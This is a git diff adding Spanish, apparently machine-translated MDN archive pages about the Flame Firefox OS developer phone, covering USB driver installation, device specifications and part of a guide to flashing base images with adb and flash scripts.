+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Para acceder al</span> <span class="hps">dispositivo Flame</span> <span class="hps">con</span></span> <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> <span class="short_text" id="result_box" lang="es"><span class="hps">y</span> <span class="hps">herramientas</span> <span class="hps">Mozilla</span> </span><span class="short_text" lang="es"><span class="hps">dev</span> <span class="hps">como</span></span> <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>/<a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, <span id="result_box" lang="es"><span class="hps">se requiere</span> <span class="hps">un controlador USB</span><span>.</span> <span class="hps">Siga</span> <span class="hps">los pasos descritos en</span> <span class="hps">las</span> <span class="hps">secciones</span> <span class="hps">siguientes para</span> <span class="hps">instalarlo.</span></span></p>
+
+<h3 id="Descargando_el_controlador">Descargando el controlador</h3>
+
+<p><a href="http://cds.w5v8t3u9.hwcdn.net/Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall.zip">Descargue el controlador de Windows desde esta ubicación</a>. <span id="result_box" lang="es"><span class="hps">Una vez descargado,</span> <span class="hps">extraer</span> <span class="hps">el contenido del</span> <span class="hps">archivo ZIP en</span> <span class="hps">un lugar adecuado</span> <span class="hps">en su disco duro</span><span>.</span></span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Android Debug Bridge (<a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) <span id="result_box" lang="es"><span class="hps">se debe instalar</span> <span class="hps">primero</span><span>:</span> <span class="hps">ver</span> <span class="hps">instrucciones anteriores</span> <span class="hps">si no</span> <span class="hps">has</span> <span class="hps">hecho esto ya</span><span>.</span></span></p>
+</div>
+
+<h3 id="Instalando_el_controlador_USB">Instalando el controlador USB</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">En este punto</span><span>, conecte el dispositivo</span> Flame <span class="hps">al ordenador mediante</span> <span class="hps">un cable USB.</span></span></p>
+
+<p>Para instalar el controlador abra el directorio <code>Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall</code>  <span id="result_box" lang="es"><span class="hps">dentro del</span> <span class="hps">archivo ZIP</span> <span class="hps">extraídos y</span> <span class="hps">haga doble clic sobre</span> <span class="hps">el ejecutable</span></span> <code>DriverInstaller.exe</code>. <span id="result_box" lang="es"><span class="hps">Es posible que reciba</span> <span class="hps">una advertencia</span> <span class="hps">en este punto que</span> <span class="hps">el ejecutable</span> <span class="hps">es de</span> <span class="hps">un editor desconocido</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Si es así</span><span>, seleccione el botón</span></span> <em>Si</em> <span id="result_box" lang="es"><span class="hps">y</span> <span class="hps">se pondrá en marcha</span> <span class="hps">el ejecutable</span><span>.</span></span></p>
+
+<p><img alt="Simple dialog box showing a picture of a phone along with install and uninstall buttons." src="https://mdn.mozillademos.org/files/8079/driver-install.png" style="display: block; height: 523px; margin: 0px auto; width: 358px;"></p>
+
+<p>Clic en el botón <em>Install</em> para instalar el controlador.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Después de que el</span> <span class="hps">controlador</span> <span class="hps">se ha instalado</span><span>, puede comprobar</span> <span class="hps">que está trabajando</span> <span class="hps">abriendo</span> <span class="hps">una ventana de</span> <span class="hps">línea de comandos</span> <span class="hps">y escribiendo</span></span> <code>adb devices</code>.</p>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Esto debe</span> <span class="hps">listar</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">el dispositivo conectado con</span> <span class="hps">una salida</span> <span class="hps">algo como:</span></span></p>
+
+<pre>List of devices attached
+3561d02a          device</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Si el dispositivo</span> <span class="hps">no aparece</span> <span class="hps">aquí</span><span>, compruebe</span> <span class="hps">en el Administrador</span> <span class="hps">de dispositivos de Windows</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Su</span> Flame<span class="hps"> puede</span> <span class="hps">aparecer</span> <span class="atn hps">como "</span><span>ACER</span> <span class="hps">ADB</span> <span class="hps">Interface"</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Puede</span> <span class="hps">confirmar esto</span> <span class="hps">desconectando</span> <span class="hps">el dispositivo</span> <span class="hps">y ver</span> <span class="hps">si</span> <span class="hps">desaparece del</span> <span class="hps">administrador de dispositivos</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Desinstale el</span> <span class="hps">software del controlador</span> <span class="hps">haciendo clic derecho</span> <span class="atn hps">sobre</span></span> "ACER ADB Interface" <span class="short_text" id="result_box" lang="es"><span class="hps">y haciendo clic en</span> <span class="hps">desinstalar.</span></span>  <span id="result_box" lang="es"><span class="hps">Asegúrese</span> <span class="hps">de marcar la casilla</span> <span class="hps">en el</span> <span class="hps">cuadro de diálogo para</span> <span class="hps">eliminar</span> <span class="hps">el software del controlador</span><span>.</span> <span class="hps">Ahora</span> <span class="hps">vuelva a ejecutar</span> <span class="hps">el instalador</span> <span class="hps">anteriormente.</span></span> <span id="result_box" lang="es"><span class="hps">Es recomendable</span> <span class="hps">establecer el</span> <span class="hps">tiempo de espera</span> <span class="hps">de pantalla en su</span> Flame <span class="hps">a algo</span> <span class="hps">alto</span></span> (<em>Ajustes</em> &gt; <em>Pantalla</em> &gt; <em>Screen timeout</em>) <span id="result_box" lang="es"><span class="hps">en Windows</span> <span class="hps">aparece a veces</span> <span class="hps">para volver a instalar</span> <span class="hps">los controladores predeterminados</span> <span class="hps">cuando la pantalla</span> <span class="hps">se apaga.</span></span></p>
diff --git a/files/es/archive/b2g_os/phone_guide/flame/index.html b/files/es/archive/b2g_os/phone_guide/flame/index.html
new file mode 100644
index 0000000000..caf801ff64
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/flame/index.html
@@ -0,0 +1,78 @@
+---
+title: Flame
+slug: Archive/B2G_OS/Phone_guide/Flame
+tags:
+  - Firefox OS
+  - Flame
+  - developer phone
+  - dispositivo de referência
+  - teléfono desarrollador
+translation_of: Archive/B2G_OS/Phone_guide/Flame
+---
+<div class="note">
+<p><strong>Actualizaciones en tu Flame</strong>: <span id="result_box" lang="es"><span class="hps">Le animamos a</span> <span class="hps">unirse a la</span> <span class="hps">siguiente lista</span> <span class="hps">de correo para recibir</span> <span class="hps">actualizaciones periódicas</span> <span class="hps">sobre el software</span> <span class="hps">builds y</span> <span class="hps">otras noticias</span> <span class="hps">relacionadas a</span> <span class="hps">su dispositivo</span> Flame</span>: <a href="https://mail.mozilla.org/listinfo/flamenews">https://mail.mozilla.org/listinfo/flamenews</a></p>
+</div>
+
+<p><img alt="A picture of the Flame device, showing the Firefox OS homescreen containing several app icons." src="https://mdn.mozillademos.org/files/8373/flame-dev-hud.png" style="float: left; margin-bottom: 20px; margin-right: 50px; width: 25%;"></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Flame</span> <span class="hps">es el dispositivo</span> <span class="hps">de referencia oficial</span> <span class="hps">para el desarrollo</span><span>, prueba y</span> <span class="hps">depuración de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">y</span> <span class="hps">aplicaciones web</span> <span class="hps">abiertas</span><span>.</span> <span class="hps">Esta guía proporciona información</span> <span class="hps">básica acerca de</span> <span class="hps">sus</span> <span class="hps">especificaciones de hardware</span><span>, así como</span> documentación <span class="hps">práctica específica</span> <span class="hps">experimentando con</span><span>, desarrollando</span> <span class="hps">para</span><span>,</span> <span class="hps">y prueba de</span> <span class="hps">software compatible con</span> <span class="hps">este teléfono</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">El hardware</span> <span class="hps">de Flame</span> <span class="hps">ofrece</span> <span class="hps">un conjunto representativo de</span> <span class="hps">especificaciones</span></span> — <span id="result_box" lang="es"><span class="hps">incluyendo</span> <span class="hps">pantalla</span> <span class="hps">FWVGA</span> <span class="hps">y</span> <span class="hps">procesador de doble núcleo</span></span> — <span id="result_box" lang="es"><span class="hps">para ayudar a</span> <span class="hps">los desarrolladores a crear</span> <span class="hps">gran contenido y</span> <span class="hps">experiencias.</span></span> <span id="result_box" lang="es"><span class="hps">Una única</span> <span class="hps">plataforma de hardware</span> <span class="hps">también es bueno para</span> <span class="hps">los probadores</span><span>,</span> <span class="hps">por lo que es</span> <span class="hps">más fácil de</span> <span class="hps">probar y</span> <span class="hps">abordar cuestiones</span> <span class="hps">específicas de software</span> <span class="hps">sin tener que</span> <span class="hps">preocuparse</span> <span class="hps">de dispositivos</span> <span class="hps">de modelos específicos,</span> <span class="hps">errores</span><span>, etc.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Si usted tiene su</span> <span class="hps">teléfono en la mano</span> <span class="hps">y quiere</span> <span class="hps">empezar a jugar</span> <span class="hps">con el</span><span>,</span> <span class="hps">desarrollando y distribuyendo</span> <span class="hps">aplicaciones</span><span>,</span> <span class="hps">o contribuir</span> <span class="hps">a la plataforma de</span> <span class="hps">Firefox</span><span>,</span> <span class="hps">los siguientes enlaces</span> <span class="hps">le llevarán</span><span class="hps"> a donde necesita</span><span class="hps"> ir</span></span>:</p>
+
+<ul>
+ <li><a href="/es/Firefox_OS">Firefox OS zone</a>: <span id="result_box" lang="es"><span class="hps">Para</span> <span class="hps">crear sus</span> <span class="hps">propias builds del sistema operativo</span> <span class="hps">Firefox</span> <span class="hps">y</span> <span class="hps">contribuir a los</span> <span class="hps">proyectos de</span> <span class="hps">B2G</span> <span class="hps">y</span> <span class="hps">Gaia</span><span>.</span></span></li>
+ <li><a href="/es/Apps">App Center zone</a>: <span id="result_box" lang="es"><span class="hps">Para la construcción de</span> <span class="hps">aplicaciones</span> <span class="hps">web de código abierto</span> <span class="hps">compatible</span> <span class="hps">con el sistema operativo</span> <span class="hps">Firefox</span><span>.</span></span></li>
+ <li><a href="/es/Marketplace">Marketplace zone</a>: <span id="result_box" lang="es"><span class="hps">Para obtener información sobre</span> <span class="hps">la publicación y distribución</span> <span class="hps">de aplicaciones</span><span>.</span></span></li>
+ <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a>: <span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">mejor lugar para encontrar</span> <span class="hps">y publicar</span> <span class="hps">nuevas</span> <span class="hps">aplicaciones</span> <span class="hps">del sistema operativo</span> <span class="hps">de Firefox.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">desea</span> <span class="hps">obtener más información sobre</span><span class="hps"> actualizar el</span> <span class="hps">sistema operativo,</span> <span class="hps">recuperación</span><span class="hps">,</span> instalación de <span class="hps">aplicaciones</span><span class="hps">,</span> <span class="hps">o </span><span class="hps">especificaciones del teléfono,</span> <span class="hps">usted encontrará la</span> <span class="hps">información que necesita en</span> <span class="hps">los dos artículos siguientes</span><span>:</span></span></p>
+
+<ul>
+ <li><a href="/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/Flame/Configuracion_Inicial">Configuración Inicial</a>: <span id="result_box" lang="es"><span class="hps">Pasos esenciales</span> <span class="hps">a seguir para</span> <span class="hps">configurar el ordenador</span> <span class="hps">para trabajar con su</span> Flame</span></li>
+ <li><a href="/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/Flame/Updating_your_Flame">Actualizando su Flame</a>: <span id="result_box" lang="es"><span class="hps">Cómo actualizar</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">en tu</span> Flame<span class="hps">,</span> instalar <span class="hps">aplicaciones</span><span class="hps">,</span> <span class="hps">y solucionar problemas</span> <span class="hps">y probarlo.</span></span></li>
+</ul>
+
+<h2 id="Obtener_un_dispositivo"><span class="short_text" id="result_box" lang="es"><span class="hps">Obtener</span> <span class="hps">un dispositivo</span></span></h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Las ventas de</span> <span class="hps">Flame</span> <span class="hps">han</span> <span class="hps">llegado a su fin</span></span>. <span id="result_box" lang="es"><span class="hps">Todavía hay</span> <span class="hps">un montón de oportunidades</span> <span class="hps">para los colaboradores</span> <span class="hps">de Mozilla</span> <span class="hps">para obtener</span> Flame <span class="hps">gratuitos</span></span>, <span id="result_box" lang="es"><span class="hps">incluyendo</span> <span class="hps">una próxima</span> <span class="hps">segunda</span> <span class="hps">ronda del programa</span> <span class="hps">Foxtrot</span></span>. <span id="result_box" lang="es"><span class="hps">Si tiene preguntas</span> <span class="hps">acerca de cómo obtener</span> <span class="hps">un dispositivo</span> <span class="hps">gratis para </span><span class="hps">desarrollo</span> <span class="hps">o pruebas</span></span>, <span id="result_box" lang="es"><span class="hps">por favor,</span> <span class="hps">comuniquese con</span> <span class="hps">Asa</span> <span class="hps">Dotzler</span> <span class="hps">o</span> <span class="hps">Marcia</span> <span class="hps">Knous</span> <span class="atn hps">(</span><span>marcia</span><span>)</span> <span class="hps">en el canal #fxos en IRC</span><span>.</span></span></p>
+
+<h2 id="Especificaciones_del_dispositivo"><span class="short_text" id="result_box" lang="es"><span class="hps">Especificaciones del dispositivo</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted</span> <span class="hps">puede encontrar más de</span> <span class="hps">las especificaciones del dispositivo</span> <span class="hps">que aparecen en</span> <span class="hps">nuestra página</span></span> <a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Phone and device specs</a>.</p>
+
+<h3 id="Red"><span class="short_text" id="result_box" lang="es"><span class="hps">Red</span></span></h3>
+
+<ul>
+ <li>GSM 850/900/1800/1900MHz</li>
+ <li>UMTS 850/900/1900/2100MHz</li>
+ <li>Wifi 802.11b/g/n</li>
+ <li>Bluetooth 3.0</li>
+</ul>
+
+<h3 id="Hardware">Hardware</h3>
+
+<ul>
+ <li>NFC</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Acelerómetro</span></span></li>
+ <li>Radio FM</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Sensor de proximidad</span></span></li>
+ <li>Compatibilidad GPS W / A-GPS</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Sensor de luz ambiental</span></span></li>
+</ul>
+
+<h2 id="Mire_también"><span class="short_text" id="result_box" lang="es"><span class="hps">Mire también</span></span></h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/Flame/Configuracion_Inicial">Configuración Inicial</a>: <span id="result_box" lang="es"><span class="hps">Pasos esenciales</span> <span class="hps">a seguir para</span> <span class="hps">configurar el ordenador</span> <span class="hps">para trabajar con su</span> Flame</span></li>
+ <li><a href="/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/Flame/Updating_your_Flame">Actualizando su Flame</a>: <span id="result_box" lang="es"><span class="hps">Cómo actualizar</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">en tu</span> Flame<span class="hps">,</span> instalar <span class="hps">aplicaciones</span><span class="hps">,</span> <span class="hps">y solucionar problemas</span> <span class="hps">y probarlo</span></span></li>
+ <li><a href="https://hacks.mozilla.org/2014/08/videos-getting-started-with-your-flame-device/">Primeros pasos con Flame</a>: <span class="short_text" id="result_box" lang="es">V<span class="hps">ídeos de cómo hace</span></span><span class="short_text" lang="es"><span class="hps"> de</span> <span class="hps">Chris</span> <span class="hps">Heilmann</span><span>.</span></span></li>
+ <li><a href="http://mozilla.github.io/flame-on/">Flame On</a>: <span id="result_box" lang="es"><span class="hps">Gran</span> <span class="hps">página</span> <span class="hps">de inicio</span> <span class="hps">para todos los propietarios</span> <span class="hps">de Flame</span> <span class="hps">creado en el Festival</span> <span class="hps">Mozilla</span> <span class="hps">2014</span><span>.</span></span></li>
+ <li><a href="https://blog.mozilla.org/press/2014/02/developer-momentum-2/">Anuncio Original</a>: Anuncio de prensa, <span class="short_text" id="result_box" lang="es"><span class="hps">23 de febrero</span> <span class="hps">de 2014.</span></span></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/archive/b2g_os/phone_guide/flame/updating_your_flame/index.html b/files/es/archive/b2g_os/phone_guide/flame/updating_your_flame/index.html
new file mode 100644
index 0000000000..62e3ec86a4
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/flame/updating_your_flame/index.html
@@ -0,0 +1,301 @@
+---
+title: Actualiza tu Flame
+slug: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flame
+tags:
+  - Firefox OS
+  - Flame
+  - developer phone
+  - dispositivo de referência
+  - reerence device
+  - teléfono desarrollador
+translation_of: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flame
+---
+<div class="summary">
+<p><span id="result_box" lang="es"><span class="hps">En este artículo se</span> <span class="hps">explica cómo</span> <span class="hps">actualizar</span> <span class="hps">el software en su</span> <span class="hps">Flame -</span> <span class="hps">incluyendo la actualización de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">e instalación de</span> <span class="hps">nuevas</span> <span class="hps">aplicaciones</span> <span class="hps">a su teléfono</span> <span class="hps">-</span> <span class="hps">junto con</span> <span class="hps">copias de seguridad de</span> <span class="hps">sus datos,</span> <span class="hps">y alguna otra</span> <span class="hps">solución</span> <span class="hps">útil de problemas e</span> <span class="hps">información de prueba</span><span>.</span> <span class="hps">Antes de empezar a</span> <span class="hps">hacer algo de esto</span><span>,</span> <span class="hps">usted debe asegurarse de</span> <span class="hps">que ha iniciado</span> <span class="hps">a través de la</span> <span class="hps">información de configuración</span> <span class="hps">inicial (</span></span><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a><span lang="es"><span class="hps">)</span></span>.</p>
+</div>
+
+<h2 id="Actualizando_el_software_del_Flame">Actualizando el software del Flame</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Tenemos dos</span> <span class="hps">principales</span> <span class="hps">"canales"</span> <span class="hps">de</span> versiones <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">para</span> <span class="hps">e</span>l <span class="hps">Flame:</span></span></p>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">El</span> <span class="hps">primer canal</span> <span class="hps">es nuestro</span> <span class="hps">canal "release"</span></span>. Usa <span id="result_box" lang="es"><span class="hps">este canal y</span> <span class="hps">recibirás</span> actualizaciones </span>OTA (over-the-air) <span id="result_box" lang="es"><span class="hps">para</span> <span class="hps">versiones principales</span><span>,</span> <span class="hps">es decir,</span> <span class="hps">se actualizará de</span> <span class="hps">1.3 a 2.0</span> <span class="hps">a 2.1,</span> <span class="hps">etc</span></span>.</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">El segundo canal es</span> <span class="hps">nuestro cana nocturno</span></span> (nightly). El flame puede ser flasheado a este canal, <span id="result_box" lang="es"><span class="hps">y después del</span> flasheo <span class="hps">inicial</span> <span class="hps">recibirá actualizaciones</span> <span class="hps">durante los</span> <span class="hps">cambios</span>  diariamente <span class="hps">o casi</span> <span class="hps">diariamente.</span></span></li>
+</ul>
+
+<h3 id="Imagen_Base"><a name="Base Image">Imagen Base</a></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted puede obtener</span> <span class="hps">archivos de recuperación</span> <span class="hps">y herramientas</span> <span class="hps">en los siguientes lugares</span> <span class="hps">de almacenamiento</span><span>:</span></span></p>
+
+<h4 id="Up-to-date_(utilice_éstos_a_menos_que_tenga_una_buena_razón_para_no_hacerlo)">Up-to-date <span id="result_box" lang="es"><span class="atn">(</span><span>utilice éstos</span> <span class="hps">a menos que tenga</span> <span class="hps">una buena</span> <span class="hps">razón para no hacerlo</span><span>)</span></span></h4>
+
+<ul>
+ <li>Producción:
+  <ul>
+   <li>Estable: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D.zip">Imágen base v18D.zip</a>: <span id="result_box" lang="es"><span class="hps">El último archivo estable</span><span class="hps">,</span> <span class="hps">que contiene</span> <span class="hps">una imágen de</span> <span class="hps">producción base</span> <span class="hps">de Flame</span> <span class="hps">con Firefox</span> <span class="hps">OS</span> <span class="hps">2.0</span><span>.</span></span></li>
+   <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v2.zip">Imágen base v18D_nightly</a>: <span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">última</span> <span class="hps">archivo nightly</span><span>,</span> <span class="hps">que contiene</span> <span class="hps">una imágen de</span> <span class="hps">producción</span> <span class="hps">base</span> <span class="hps">de Flame</span> con<span class="hps"> Firefox</span> <span class="hps">OS</span> <span class="hps">3.0</span><span>.</span> <span class="hps">Antes de actualizar</span> <span class="hps">su teléfono</span> <span class="hps">a una Build Nightly</span> <span class="hps">usted debe</span> flashear <span class="hps">con la última imagen base</span> <span class="hps">para asegurarse de que</span> <span class="hps">los sistemas subyacentes</span> <span class="hps">están al día</span></span>.</li>
+  </ul>
+ </li>
+ <li>Ingeniería: <span id="result_box" lang="es"><span class="hps">No hay</span> <span class="hps">imágen</span> <span class="hps">Base</span> <span class="hps">ingeniería</span></span>. Use a production base image and  <span id="result_box" lang="es"><span class="hps">Utilice</span> <span class="hps">una imagen </span><span class="hps">base de Producción</span> <span class="hps">y </span></span><a href="#Updating_to_nightly_build">flashee a una build Nightly de ingeniería</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Puede</span> <span class="hps">averiguar qué</span> <span class="hps">imagen base</span> está funcionando en <span class="hps">su dispositivo</span> <span class="hps">con el comando</span></span> <code>adb shell getprop ro.bootloader</code>. <span id="result_box" lang="es"><span class="hps">La versión</span> <span class="hps">son los últimos cuatro</span> <span class="hps">caracteres</span></span>, con el último entonces removido, <span class="short_text" id="result_box" lang="es"><span class="hps">el prefijo</span> <span class="atn hps">'</span><span>v</span><span>'</span></span> (e.j. L1TC000118D0 &gt; v18D).</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: <span id="result_box" lang="es"><span class="hps">Cuando se ejecuta</span> <span class="hps">un flasheo completo o</span> <span class="hps">poco profundo (shallow flash)</span><span>,</span> <span class="hps">se sobrescribirán</span> <span class="hps">los datos del teléfono</span><span>:</span> <span class="hps">por lo tanto,</span> <span class="hps">debe hacer una copia</span> <span class="hps">de seguridad de sus</span> <span class="hps">datos</span> <span class="hps">antes de actualizar</span><span>!</span></span> Mire la sección <a href="#Respaldando_y_restaurando_su_información_del_Flame">Respaldando y restaurando su información del Flame</a> para más detalles.</p>
+</div>
+
+<h4 id="Obsoleto">Obsoleto</h4>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Estas imágenes base</span> <span class="hps">de son solo</span> <span class="hps">estables</span></span> y de producción.</p>
+
+<ul>
+ <li><a href="http://cds.w5v8t3u9.hwcdn.net/v188.zip">Imágen base v188.zip</a>: <span id="result_box" lang="es"><span class="hps">Un archivo</span> <span class="hps">actualizado</span> <span class="hps">que contiene una</span> <span class="hps">imagen  base</span> <span class="hps">de Flame</span> <span class="hps">con Firefox</span> <span class="hps">OS</span> <span class="hps">2.0</span> <span class="hps">con correcciones de errores</span> <span class="hps">de</span> <span class="hps">la imagen anterior.</span></span></li>
+ <li><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_2.0_v180_1.zip">Imágen base v180.zip</a>: <span id="result_box" lang="es"><span class="hps">Un archivo</span> <span class="hps">más antiguo</span> <span class="hps">que contiene una</span> <span class="hps">imagen base</span> <span class="hps">de Flame</span> <span class="hps">con Firefox</span> <span class="hps">OS</span> <span class="hps">2.0</span><span>.</span></span></li>
+ <li><a href="http://cds.w5v8t3u9.hwcdn.net/v123.zip">Imágen base v123.zip</a>: <span id="result_box" lang="es"><span class="hps">Una imagen</span> <span class="hps">discontinuada</span> <span class="hps">con Firefox</span> <span class="hps">OS</span> <span class="hps">1.3</span> <span class="hps">basado en</span> <span class="hps">Android</span> <span class="hps">Jellybean</span><span>;</span> <span class="hps">usted no debe usar</span> <span class="hps">esto.</span></span></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Using a locale with base image v188 produces a mixed UI with locale and English languages.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Las Imágenes v180 de Firefox</span> <span class="hps">OS</span> <span class="hps">y</span> <span class="hps">anteriores se basan en</span> <span class="hps">Android</span> <span class="hps">KK</span> <span class="atn hps">(</span><span>Kitkat</span><span>,</span> <span class="hps">4,4</span><span>)</span><span>;</span> Builds <span class="hps">JB</span> <span class="atn hps">(</span><span>Jellybean</span><span>,</span> <span class="hps">04.01 a 04.03</span><span>)</span> <span class="hps">ahora</span> <span class="hps">han sido</span> <span class="hps">descontinuados y</span> <span class="hps">ya no son</span> <span class="hps">compatibles,</span> <span class="hps">por lo que no debe</span> <span class="hps">usar nada</span> <span class="hps">más antiguo a</span> <span class="hps">v180</span><span>.</span></span></p>
+</div>
+
+<h3 id="Instalación_de_imágen_base">Instalación de imágen base</h3>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Para instalar</span> <span class="hps">la imagen base</span> <span class="hps">en su dispositivo:</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Asegúrate de</span> que la <span class="hps">depuración</span> <span class="hps">remota esté</span> <span class="hps">habilitada en el</span></span> Flame, <span class="short_text" id="result_box" lang="es"><span class="hps">utilizando la opción</span></span> <em>Depuración remota/Depuración vía USB</em> en <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">Ajustes de desarrollador</a> (<span id="result_box" lang="es"><span class="hps">la opción</span> <span class="hps">es diferente,</span> <span class="hps">dependiendo de si</span> <span class="hps">usted tiene</span> <span class="hps">Firefox</span> <span class="hps">1.3</span> e<span class="hps"> inferior</span><span>,</span> <span class="hps">o Firefox</span> <span class="hps">1.4+</span> <span class="hps">instalado</span></span>).</li>
+ <li><span id="result_box" lang="es"><span class="hps">Conecta tu</span> <span class="hps">Flame</span> <span class="hps">al</span> <span class="hps">ordenador mediante un cable</span> <span class="hps">USB</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Comprueba que el equipo</span> <span class="hps">está conectado</span> <span class="hps">al dispositivo</span> <span class="hps">mediante e</span></span>l comando <code>adb devices</code> en una terminal.</li>
+ <li>Descarga el archivo <code>.zip</code> mencionado anteriormente. <span class="short_text" id="result_box" lang="es"><span class="hps">Descomprímelo</span> <span class="hps">en tu</span> <span class="hps">escritorio</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Abre la carpeta </span>en la que has<span class="hps"> extraído</span> la Imágen<span class="hps"> </span><span class="hps">y ejecuta</span></span>:
+  <ul>
+   <li>En Windows,<code> </code>abriendo desde la línea de comandos <code>flash.bat</code> (<span class="short_text" id="result_box" lang="es"><span class="hps">o</span> <span class="hps">haz doble clic en</span> <span class="hps">el archivo</span> <span class="hps">en el explorador</span></span> de archivos)<br>
+    <strong>Nota</strong>: Si falta <code>flash.bat</code><span id="result_box" lang="es"><span class="hps">,</span> <span class="hps">simplemente</span> <span class="hps">cambie el nombre del</span> <span class="hps">archivo</span> <span class="hps">flash.sh</span> <span class="hps">a</span> <span class="hps">flash.bat</span><span>,</span> <span class="hps">a continuación, ejecute</span> <span class="hps">eso.</span> <span class="hps">Asegúrese de tener</span> <span class="hps">adb</span> <span class="hps">y</span> <span class="hps">fastboot</span> <span class="hps">instalado</span> <span class="hps">y disponible en</span> <span class="hps">PATH.</span></span></li>
+   <li>En Linux / OSX, <span class="short_text" id="result_box" lang="es"><span class="hps">entra en la carpeta</span> mediante <span class="hps">la </span></span>terminal, <span class="short_text" id="result_box" lang="es"><span class="hps">a continuación, ejecuta</span> <span class="hps">el script</span></span> <code>flash.sh</code> usando <code>./flash.sh</code> (<span class="short_text" id="result_box" lang="es"><span class="hps">instrucciones previas</span> <span class="hps">le recomiendan</span><span class="hps"> utilizar</span> <span class="hps">sudo</span></span>. <span id="result_box" lang="es"><span class="hps">No.</span> <span class="hps">Es</span> <span class="hps">muy</span> <span class="hps">peligroso utilizar</span> <span class="hps">sudo</span> <span class="hps">con las cosas</span> <span class="hps">que se descargan de</span> <span class="hps">Internet</span></span>. <span id="result_box" lang="es"><span class="hps">Si el script</span> <span class="hps">de flasheo</span> <span class="hps">no encuentra</span> <span class="hps">su dispositivo</span><span>, por favor</span> <span class="hps">compruebe</span> <span class="hps">que</span></span> sus <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">Reglas udev</a> son correctas). <span class="short_text" id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">usted no ve</span></span> un archivo <code>flash.sh</code>, <span id="result_box" lang="es"><span class="hps">simplemente</span> <span class="hps">cambie el nombre del</span> <span class="hps">archivo</span></span> <code>flash.bat</code> a <code>flash.sh</code> <span class="short_text" id="result_box" lang="es"><span class="hps">primero</span> <span class="hps">y luego usar</span> <span class="hps">el comando anterior</span><span>.</span></span></li>
+  </ul>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si usted recibe un error</span> <span class="hps">"permiso denegado</span><span>" </span><span class="hps">al ejecutar</span> <span class="hps">los comandos anteriores</span><span>,</span> <span class="hps">el</span> <span class="hps">script de shell</span><span>, probablemente</span> <span class="hps">no tiene</span> <span class="hps">los permisos</span> <span class="hps">adecuados.</span></span><span lang="es"> <span class="hps">Ejecutando</span> <span class="hps">chmod</span> <span class="hps">+x</span> <span class="hps">flash.sh</span> <span class="hps">en él</span> <span class="hps">debe</span> <span class="hps">resolver este problema.</span></span></p>
+</div>
+
+<div class="note">
